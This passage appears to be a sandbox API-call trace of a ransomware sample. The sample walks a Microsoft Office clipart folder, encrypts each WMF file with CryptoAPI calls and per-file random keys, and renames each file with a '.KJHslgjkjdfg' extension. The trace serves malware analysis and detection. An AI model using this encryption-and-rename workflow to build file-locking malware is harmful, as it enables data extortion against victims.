liDistanceToMove=0x2e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.967] SetEndOfFile (hFile=0x114) returned 1 [0171.969] GetProcessHeap () returned 0x2a0000 [0171.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0171.969] GetProcessHeap () returned 0x2a0000 [0171.969] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0171.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.kjhslgjkjdfg")) returned 1 [0171.970] CloseHandle (hObject=0x114) returned 1 [0171.970] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0171.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.971] GetProcessHeap () returned 0x2a0000 [0171.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0171.972] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0171.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0171.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0171.973] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.974] GetProcessHeap () returned 0x2a0000 [0171.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0171.974] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0171.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0171.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0171.974] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0171.974] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0171.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0171.974] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0171.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.974] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x42a4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x42a4, lpOverlapped=0x0) returned 1 [0171.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x42b0, dwBufLen=0x42b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x42b0) returned 1 [0171.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.975] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x42b0, lpOverlapped=0x0) returned 1 [0171.976] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.976] SetEndOfFile (hFile=0x114) returned 1 [0171.978] GetProcessHeap () returned 0x2a0000 [0171.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0171.978] GetProcessHeap () returned 0x2a0000 [0171.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0171.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.kjhslgjkjdfg")) returned 1 [0171.979] CloseHandle (hObject=0x114) returned 1 [0171.979] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0171.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.980] GetProcessHeap () returned 0x2a0000 [0171.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0171.980] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0171.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0171.980] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0171.982] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.982] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.982] GetProcessHeap () returned 0x2a0000 [0171.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0171.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0171.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0171.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0171.983] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0171.983] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0171.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0171.983] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0171.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.983] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.983] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x229c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x229c, lpOverlapped=0x0) returned 1 [0171.984] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22a0, dwBufLen=0x22a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x22a0) returned 1 [0171.984] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.984] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x22a0, lpOverlapped=0x0) returned 1 [0171.984] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.984] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.984] SetEndOfFile (hFile=0x114) returned 1 [0171.987] GetProcessHeap () returned 0x2a0000 [0171.987] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0171.987] GetProcessHeap () returned 0x2a0000 [0171.987] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0171.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.kjhslgjkjdfg")) returned 1 [0171.988] CloseHandle (hObject=0x114) returned 1 [0171.988] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0171.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.132] GetProcessHeap () returned 0x2a0000 [0172.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.132] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.135] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.135] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.135] GetProcessHeap () returned 0x2a0000 [0172.135] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.136] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.136] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.136] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.136] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.136] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.136] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.136] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x305c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x305c, lpOverlapped=0x0) returned 1 [0172.137] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3060, dwBufLen=0x3060 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3060) returned 1 [0172.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.138] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3060, lpOverlapped=0x0) returned 1 [0172.138] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.138] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.138] SetEndOfFile (hFile=0x114) returned 1 [0172.141] GetProcessHeap () returned 0x2a0000 [0172.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.141] GetProcessHeap () returned 0x2a0000 [0172.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.kjhslgjkjdfg")) returned 1 [0172.142] CloseHandle (hObject=0x114) returned 1 [0172.143] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0172.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.143] GetProcessHeap () returned 0x2a0000 [0172.143] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.143] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.144] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.146] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.146] GetProcessHeap () returned 0x2a0000 [0172.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.146] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.146] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.146] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.146] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.146] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.146] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.147] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.147] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1364, lpOverlapped=0x0) returned 1 [0172.148] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0172.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.148] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0172.148] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.148] SetEndOfFile (hFile=0x114) returned 1 [0172.151] GetProcessHeap () returned 0x2a0000 [0172.151] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.151] GetProcessHeap () returned 0x2a0000 [0172.151] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.kjhslgjkjdfg")) returned 1 [0172.152] CloseHandle (hObject=0x114) returned 1 [0172.152] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0172.152] CreateFileW (lpFileName="C:\\Program 